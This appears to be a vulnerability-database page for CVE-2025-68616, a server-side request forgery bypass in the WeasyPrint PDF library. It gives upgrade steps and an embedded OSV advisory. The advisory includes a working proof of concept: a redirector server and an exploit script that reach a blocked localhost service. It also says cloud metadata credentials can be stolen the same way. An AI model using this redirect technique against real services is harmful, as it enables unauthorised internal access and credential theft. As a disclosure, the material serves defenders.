CVE-2025-68616: Weasyprint WeasyPrint Has A Server-Side Request Vulnerability
HIGHCVE-2025-68616 is a HIGH (CVSS 7.5) weasyprint has a server-side request vulnerability (CWE-601: URL Redirection to Untrusted Site ('Open Redirect')) affecting Weasyprint libraries in the PyPI ecosystem. The issue involves weasyprint has a server-side request forgery (ssrf) protection bypass via http redirect. Remediation is available by upgrading affected packages to version 68.0.
CVE-2025-68616 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
How to Fix CVE-2025-68616
To remediate this vulnerability, upgrade all affected Weasyprint dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install weasyprint>=68.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show weasyprint
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-68616, inspect your installed packages using pip:
pip show weasyprint
Analyze the terminal output to locate any version of Weasyprint in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 68.0), your application is affected.
Note: The pip show weasyprint command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect'), where the web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. In Weasyprint, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-68616 Affected Weasyprint Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
weasyprint
|
PyPI |
< 68.0
|
68.0
|
References
Frequently Asked Questions
What is CVE-2025-68616?
Which Weasyprint versions are affected?
What version fixes CVE-2025-68616?
Is weasyprint affected?
What is the CVSS score of CVE-2025-68616?
What CWE is associated with CVE-2025-68616?
How can I check PyPI dependencies for CVE-2025-68616?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-983w-rhvv-gwmv",
"modified" : "2026-07-02T20:22:23Z",
"published" : "2026-01-20T16:29:53Z",
"aliases" : [ "CVE-2025-68616" ],
"summary" : "WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect",
"details" : "### Summary\n\nA **Server-Side Request Forgery (SSRF) Protection Bypass** exists in WeasyPrint's `default_url_fetcher`. The vulnerability allows attackers to access internal network resources (such as `localhost` services or cloud metadata endpoints) even when a developer has implemented a custom `url_fetcher` to block such access. This occurs because the underlying `urllib` library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.\n\n### Details\n\nThe default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.\n\nWhile WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.\n\nThis behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).\n\n### PoC\n\nTo reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., `localhost`).\n\n**1. victim.py (Internal Service - Port 5000)**\nSimulates a sensitive internal service running on localhost.\n\n```python\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route('/secret')\ndef secret():\n return \"CRITICAL_INTERNAL_DATA\"\n\nif __name__ == '__main__':\n # Listens on localhost:5000\n app.run(port=5000)\n```\n\n**2. attacker.py (External Redirector - Port 1337)**\nSimulates an external server. It accepts a request and redirects it to the blocked hostname (`localhost`).\n\n```python\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route('/image.png')\ndef malicious():\n # The vulnerability: Redirects to the BLOCKED hostname\n return redirect(\"http://localhost:5000/secret\", code=302)\n\nif __name__ == '__main__':\n app.run(port=1337)\n```\n\n**3. exploit.py (Vulnerable Implementation)**\nSimulates the application with a security filter intended to block access to \"localhost\".\n\n```python\nfrom weasyprint import HTML, default_url_fetcher\nimport logging\n\n# Security Filter: Intended to block internal hostnames\ndef secure_fetcher(url):\n # Simulates a blacklist for 'localhost'\n if \"localhost\" in url:\n raise PermissionError(f\"Security Block: Access to {url} denied.\")\n \n print(f\"[ALLOWED] Initial URL check passed for: {url}\")\n return default_url_fetcher(url)\n\n# EXPLOIT LOGIC:\n# 1. We access the attacker via '127.0.0.1' (or an external IP). \n# The string \"127.0.0.1\" passes the check because it is not \"localhost\".\n# 2. The attacker redirects to \"http://localhost:5000/...\".\n# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.\n\ntry:\n # Use 127.0.0.1 to bypass the string check for 'localhost'\n html_content = '<link rel=\"attachment\" href=\"http://54.234.88.160:1337/image.png\">'\n \n doc = HTML(string=html_content, url_fetcher=secure_fetcher)\n doc.write_pdf(\"exploit.pdf\")\n \n print(\"Exploit successful. The 'localhost' block was bypassed via redirect.\")\n print(\"Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.\")\nexcept Exception as e:\n print(f\"Exploit failed: {e}\")\n```\n**4. Attacker read attachment in PDF**\n```\n➜ pdfdetach -list resultado_exploit.pdf\n1 embedded files\n1: secret\n➜ pdfdetach -saveall resultado_exploit.pdf\n➜ cat secret\nCRITICAL_INTERNAL_DATA\n```\n**Evidence**\n<img width=\"1514\" height=\"436\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9\" />\n\n### Impact\n\nThis vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.\n\n * **Internal Network Reconnaissance:** Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.\n * **Cloud Metadata Exfiltration:** In cloud environments, attackers can redirect requests to metadata services (e.g., `http://169.254.169.254`) to steal instance credentials and escalate privileges.\n * **Security Control Bypass:** It renders the `url_fetcher` security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "weasyprint"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "68.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68616"
}, {
"type" : "WEB",
"url" : "https://github.com/Kozea/WeasyPrint/commit/b6a14f0f3f4ce9c0c75c1a2d73cb1c5d43f0e565"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/security/cve/CVE-2025-68616"
}, {
"type" : "WEB",
"url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2430858"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Kozea/WeasyPrint"
}, {
"type" : "WEB",
"url" : "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-68616.json"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-601", "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-20T16:29:53Z",
"nvd_published_at" : "2026-01-19T16:15:53Z"
}
}